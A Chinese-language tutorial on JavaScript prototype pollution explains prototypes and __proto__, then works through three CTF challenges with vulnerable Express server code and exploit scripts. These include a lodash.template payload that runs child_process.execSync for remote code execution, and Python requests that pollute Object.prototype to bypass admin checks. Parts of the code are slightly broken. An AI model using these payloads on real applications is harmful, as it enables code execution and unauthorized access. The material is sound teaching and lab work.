想要很清楚了理解原型链污染 我们首先必须要弄清楚原型链这个概念
可以看这篇文章:对象的继承和原型链
目录
[例题1:Code-Breaking 2018 Thejs 分析](#例题1:Code-Breaking 2018 Thejs 分析)
prototype和__proto__分别是什么?
JavaScript中,我们如果要定义一个类,需要以定义"构造函数"的方式来定义:
javascript
function Foo() { //构造函数
this.bar = 1 //构造函数的一个属性
}
new Foo()
构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性。
为了简化编写JavaScript代码,ECMAScript 6后增加了
class
语法,但class
其实只是一个语法糖。
一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
javascript
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
这里定义的show就是一个方法
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,问题的愿意就是因为:这个show
方法实际上是绑定在对象上的,而不是绑定在"类"中。
我们希望在创建类的时候只创建一次show
方法,这时候就则需要使用**原型(prototype)**了:
javascript
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,这里就又出现了一个问题:Foo
实例化出来的对象不能通过prototype访问原型的。
这时候,就该**__proto__
**登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,也就是说:
javascript
foo.__proto__ == Foo.prototype
所以,总结一下:
-
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法 -
一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
原型链继承
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
javascript
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father() //Son继承了 Father()
let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
-
在对象son中寻找last_name
-
如果找不到,则在
son.__proto__
中寻找last_name -
如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name -
依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
-
每个构造函数(constructor)都有一个原型对象(prototype)
-
对象的
__proto__
属性,指向类的原型对象prototype
-
JavaScript使用prototype链实现继承机制
原型链污染是什么
前面说到,foo.__proto__
指向的是Foo
类的prototype
。
那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
javascript
let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2
最后,虽然zoo是一个空 对象{}
,但zoo.bar
的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。
这种攻击方式就是原型链污染。
哪些情况下原型链会被污染?
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?
其实找找能够控制数组(对象)的"键名"的操作即可:
-
对象merge(克隆)
-
对象clone(其实内核就是将待操作的对象 merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
javascript
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
javascript
function merge(target, source) { //接收两个参数
for (let key in source) { //判断source是否有相应的key
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
//把第二个参数中的key赋值给了第一个参数中的key
}
}
}
var x = {
// name: 'oupeng',
age: 18
}
var y = {
// name: 'abc',
age: 19,
num: 100
}
merge(x, y);
console.log(x);
console.log(y);
let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
javascript
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的"键名",而不代表"原型",所以在遍历o2的时候会存在这个键。
总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
例题1:Code-Breaking 2018 Thejs 分析
后端主要代码如下(完整代码可参考这里)
lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:
-
lodash.template
一个简单的模板引擎 -
lodash.merge
函数或对象的合并
其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。
而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中。
我们看到lodash.template
的代码:
javascript
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
//这里的Function是构造函数
.apply(undefined, importsValues);
});
options是一个对象,sourceURL取到了其options.sourceURL
属性。
这个sourceURL属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。
最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
我将带有__proto__
的Payload以json的形式发送给后端,
因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:
具体过程:
代码:这里
(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
bash
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)然后我们可以尝试在网页访问:你的ip地址:3000
(4)然后我们使用Burpsuite抓包访问该页面
Payload:
javascript
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问
例题2:hackit-2018
这里我使用的环境是window
(1)代码
javascript
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
//这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng
//注:传值时一定要用json的格式去传值
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致
javascript
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:
javascript
matric[client.row][client.col] =client.data
由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染
具体过程 :
(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果报错,说没有某个模块,那么可以使用
bash
npm install
npm install 模块名
这两条命令任意一条来安装需要的模块
(3)编写Python代码来实现POST请求
python
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)
(4)运行Python文件
可以看到成功的通过原型链污染,拿到了flag!
例题3:hackim-2019
代码:
javascript
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
首先就是先看拿到值的条件:
javascript
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
这里需要admin.admin == 1才能正常拿到
通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。
javascript
function clone(a) {
return merge({}, a);
}
这里我们可以使用merge给{}中提交一个key=proto,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染
具体过程
(1)首先和前面一样新建一个名为re3.js文件
文件内容就是前面的代码
(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件
注:如果在安装包时有一个 "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:
javascript
"cookie-parser": "^1.4.6"
(3)编写pythonPOST提交代码
javascript
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
这里的res1会让代码中的body={"proto":{admin:1}}
然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag
(4)运行python代码
通过结果可以看到,成功的拿到了flag!